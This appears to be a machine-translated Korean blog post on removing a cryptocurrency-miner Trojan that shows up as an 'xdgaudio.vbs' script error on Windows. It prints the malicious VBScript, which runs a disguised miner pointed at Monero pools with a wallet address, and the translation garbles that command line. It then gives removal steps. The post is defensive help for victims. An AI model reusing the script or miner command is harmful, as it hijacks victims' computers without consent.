시스템에 'xdgaudio.vbs'와 관련된 다음과 같은 오류 메시지가 표시되면 컴퓨터가 감염되었을 가능성이 큽니다.
스크립트 : C : windows xdgaudio.vbs
라인 : 3
문자 : 1
오류 : 시스템이 지정된 파일을 찾을 수 없습니다.
코드 : 80070002
출처 : (null)
메모장으로 편집 할 때 스크립트에는 다음과 같은 줄이 포함될 수 있습니다.
Dim WShell Set WShell = CreateObject ( 'WScript.Shell') WShell.Run 'wmipvrse.exe -B --donate-level 1 -r 100 --threads 16 --cpu-priority 2 --cpu-affinity 2 -a cryptonight TCP 계층 -o + : //xmr-eu.dwarfpool.com : 8005 -u 42Mn2UkbubgBDSa4sk4p4GHfN1nfxw2nURQ5NQWT9xYnFiLzTYGPawKEWeQ7oG4eqiHbmvt7wqJD4bSyBzQJ7rk75aVKgRv.App -PX -k -o 지층 + TCP : //mine.moneropool.com : 3333 -u 42Mn2UkbubgBDSa4sk4p4GHfN1nfxw2nURQ5NQWT9xYnFiLzTYGPawKEWeQ7oG4eqiHbmvt7wqJD4bSyBzQJ7rk75aVKgRv -p X '0 WShell = Nothing 설정 이것은 확실히 CPU / 암호 화폐 광부 트로이 목마처럼 보이며 컴퓨터 속도를 저하시킬뿐만 아니라 보안 위협을 일으킬 수도 있습니다. 스크립트 파일 c : windows xdgaudio.vbs 과 c : windows servicecrsssr.vbs 삭제해야합니다. 그것은 충분하지 않아. Malwarebytes 맬웨어 방지 프로그램을 사용하여 철저한 검사를 실행하고 사용중인 바이러스 백신 소프트웨어로도 검사하십시오.
이러한 Miner Trojan 제거에 대한 자세한 지침은 Malwaretips.com 가이드를 확인하십시오. Windows에서 CPU Miner Trojan을 제거하는 방법 (바이러스 도움말 가이드) .
작은 요청 하나 :이 게시물이 마음에 드 셨다면 공유해주세요.
여러분의 '작은'공유는이 블로그의 성장에 많은 도움이 될 것입니다. 몇 가지 훌륭한 제안 :- 그것을 핀!
- 좋아하는 블로그 + Facebook, Reddit에 공유
- 트윗하세요!